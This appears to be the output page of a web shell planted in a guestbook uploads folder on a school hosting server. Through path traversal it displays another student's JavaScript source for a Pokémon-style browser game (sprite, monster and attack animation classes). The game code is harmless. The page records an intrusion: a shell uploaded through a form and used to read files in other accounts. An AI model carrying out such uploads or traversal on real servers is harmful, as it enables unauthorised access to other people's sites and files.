🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../../../588742.klas4s23.mid-ica.nl/public_html/Gamecraft/game-1/classes.js

class Sprite    {
    constructor({
        position, 
        velocity, 
        image, 
        frames = {max: 1, hold: 100}, 
        sprites, 
        animate = false,
        rotation = 0,
    }) {
        this.position = position
        this.image = new Image()
        this.frames = {...frames, val: 0, elapsed: 0 }
        this.image.onload = () => { // when the image is fully loaded yhen it cals what wthin the {}
            this.width = this.image.width / this.frames.max
            this.height = this.image.height
        }
        this.image.src = image.src
        this.animate = animate
        this.sprites = sprites
        this.opacity = 1
    }

    draw()  {  
        c.save() 
        c.translate(
        this.position.x + this.width / 2,
        this.position.y + this.height / 2
        )
        c.rotate(this.rotation)
        c.translate(
        -this.position.x - this.width / 2,
        -this.position.y - this.height / 2
        )
        c.globalAlpha = this.opacity
        c.drawImage(
            //Croping the player
            this.image,
            this.frames.val * this.width, // X position of the croped player image
            0,
            this.image.width / this.frames.max,
            this.image.height,
            this.position.x,
            this.position.y,
            //The actual width and height of the image rendered out
            this.image.width / this.frames.max,
            this.image.height
        )
        c.restore()

        if (this.animate) {
            if (this.frames.max > 1) {
                this.frames.elapsed++
            }

            if (this.frames.elapsed % this.frames.hold === 0){
                if (this.frames.val < this.frames.max - 1) {
                    this.frames.val++ // this ads one on to it when draw is caled (val = 0, max = 4)
                } else {
                    this.frames.val = 0
                }
            }
        }
    }
}
class Monster extends Sprite {
    constructor({
        isEnemy = false,
        name,
        position, 
        velocity, 
        image, 
        frames = {max: 1, hold: 100}, 
        sprites, 
        animate = false,
        rotation = 0,
        attacks
    }) {
        super({
            position,
            velocity,
            image,
            frames,
            sprites,
            animate,
            rotation
        })
        this.health = 100
        this.isEnemy = isEnemy
        this.name = name
        this.attacks = attacks
    }

    faint() {
        document.querySelector('#dialogueBox').innerHTML = this.name + ' Fainted! '
        gsap.to(this.position, {
            y: this.position.y + 20
        })
        gsap.to(this, {
            opacity: 0
        })
    }

    //Animations for the monsters/pokemons
    attack({attack, recipient, renderSprites}) {

        document.querySelector('#dialogueBox').style.display = 'block'
        document.querySelector('#dialogueBox').innerHTML = this.name + ' used ' + attack.name
        // setTimeout(() => {
        //     document.querySelector('#dialogueBox').style.display = 'none'
        // }
        // , 1000)

        let healthBar = '#enemyHealthBar'
        if (this.isEnemy) healthBar = '#playerHealthBar'

        let rotation = 1
        if (this.isEnemy) rotation = -2.2

        recipient.health -= attack.damage

        switch (attack.name) {
            case 'Fireball':
                const fireballImage = new Image()
                fireballImage.src = './img/fireball.png'
                const fireball = new Sprite({
                    position: {
                        x: this.position.x,
                        y: this.position.y
                    },
                    image: fireballImage,
                    frames: {
                        max: 4,
                        hold: 30
                    },
                    animate: true,
                    rotation
                })

                renderSprites.splice(1, 0, fireball)

                gsap.to(fireball.position, {
                    x: recipient.position.x,
                    y: recipient.position.y,
                    onComplete: () => {
                        // Find the index of the fireball in the renderSprites array
                        const index = renderSprites.indexOf(fireball);
                
                        // If the fireball is found in the array
                        if (index !== -1) {
                            // Remove the fireball from the array
                            renderSprites.splice(index, 1);
                        }
                
                        // Enemy actually gets hit
                        gsap.to(healthBar, {
                            width: recipient.health + '%'
                        })
                
                        gsap.to(recipient.position, {
                            x: recipient.position.x + 10,
                            yoyo: true,
                            repeat: 5,
                            duration: 0.1
                        })
                        gsap.to(recipient, {
                            opacity: 0,
                            repeat: 5,
                            yoyo: true,
                            duration: 0.1
                        })
                        renderSprite.splice(1, 1)
                    }
                })

            break
            case 'Tackle':
                const tl = gsap.timeline()
        
                let movementDistance = 20
                if (this.isEnemy) movementDistance = -20
        
                tl.to(this.position, {
                    x: this.position.x - movementDistance
                })
                .to(this.position, {
                    x: this.position.x + 40,
                    duration: 0.1,
                    onComplete:() => {
                        // Enemy  actualy gets hit
                        gsap.to(healthBar, {
                            width: recipient.health + '%'
                        })
        
                        gsap.to(recipient.position, {
                            x: recipient.position.x + 10,
                            yoyo: true,
                            repeat: 5,
                            duration: 0.1
                        })
                        gsap.to(recipient, {
                            opacity: 0,
                            repeat: 5,
                            yoyo: true,
                            duration: 0.1
                        })
                    }
                })
                .to(this.position, {
                    x: this.position.x
                })
            break
            
        }
    }
}

class Boundary {
    static width = 48
    static height = 48
    constructor({position}) {
        this.position = position
        this.width = 48
        this.height = 48
    }

    draw() {
        c.fillStyle = 'rgba(255, 0, 0, 0)'
        c.fillRect(this.position.x, this.position.y, this.width, this.height)
    }
}

🎯 Available Actions